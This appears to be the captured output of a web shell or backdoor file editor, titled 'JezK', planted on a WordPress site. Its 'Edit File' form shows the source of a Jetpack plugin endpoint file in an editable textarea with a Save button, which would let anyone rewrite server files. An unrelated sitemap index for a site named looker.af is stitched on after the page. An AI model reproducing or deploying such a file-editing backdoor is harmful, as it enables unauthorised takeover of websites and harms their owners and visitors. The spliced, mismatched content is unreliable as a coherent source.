
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class.jetpack-json-api-plugins-get-endpoint.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName

/**
 * JSON API plugins get endpoint.
 */
new Jetpack_JSON_API_Plugins_Get_Endpoint(
	array(
		&#039;description&#039;             =&gt; &#039;Get the Plugin data.&#039;,
		&#039;method&#039;                  =&gt; &#039;GET&#039;,
		&#039;path&#039;                    =&gt; &#039;/sites/%s/plugins/%s/&#039;,
		&#039;min_version&#039;             =&gt; &#039;1&#039;,
		&#039;max_version&#039;             =&gt; &#039;1.1&#039;,
		&#039;stat&#039;                    =&gt; &#039;plugins:1&#039;,
		&#039;path_labels&#039;             =&gt; array(
			&#039;$site&#039;   =&gt; &#039;(int|string) The site ID, The site domain&#039;,
			&#039;$plugin&#039; =&gt; &#039;(string) The plugin ID&#039;,
		),
		&#039;allow_jetpack_site_auth&#039; =&gt; true,
		&#039;response_format&#039;         =&gt; Jetpack_JSON_API_Plugins_Endpoint::$_response_format,
		&#039;example_request_data&#039;    =&gt; array(
			&#039;headers&#039; =&gt; array(
				&#039;authorization&#039; =&gt; &#039;Bearer YOUR_API_TOKEN&#039;,
			),
		),
		&#039;example_request&#039;         =&gt; &#039;https://public-api.wordpress.com/rest/v1/sites/example.wordpress.org/plugins/hello-dolly%20hello&#039;,
	)
);

/**
 * Plugins get endpoint class.
 *
 * GET  /sites/%s/plugins/%s
 *
 * No v1.2 version since it is .com only
 */
class Jetpack_JSON_API_Plugins_Get_Endpoint extends Jetpack_JSON_API_Plugins_Endpoint {
	/**
	 * Needed capabilities.
	 *
	 * @var string
	 */
	protected $needed_capabilities = &#039;activate_plugins&#039;;
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
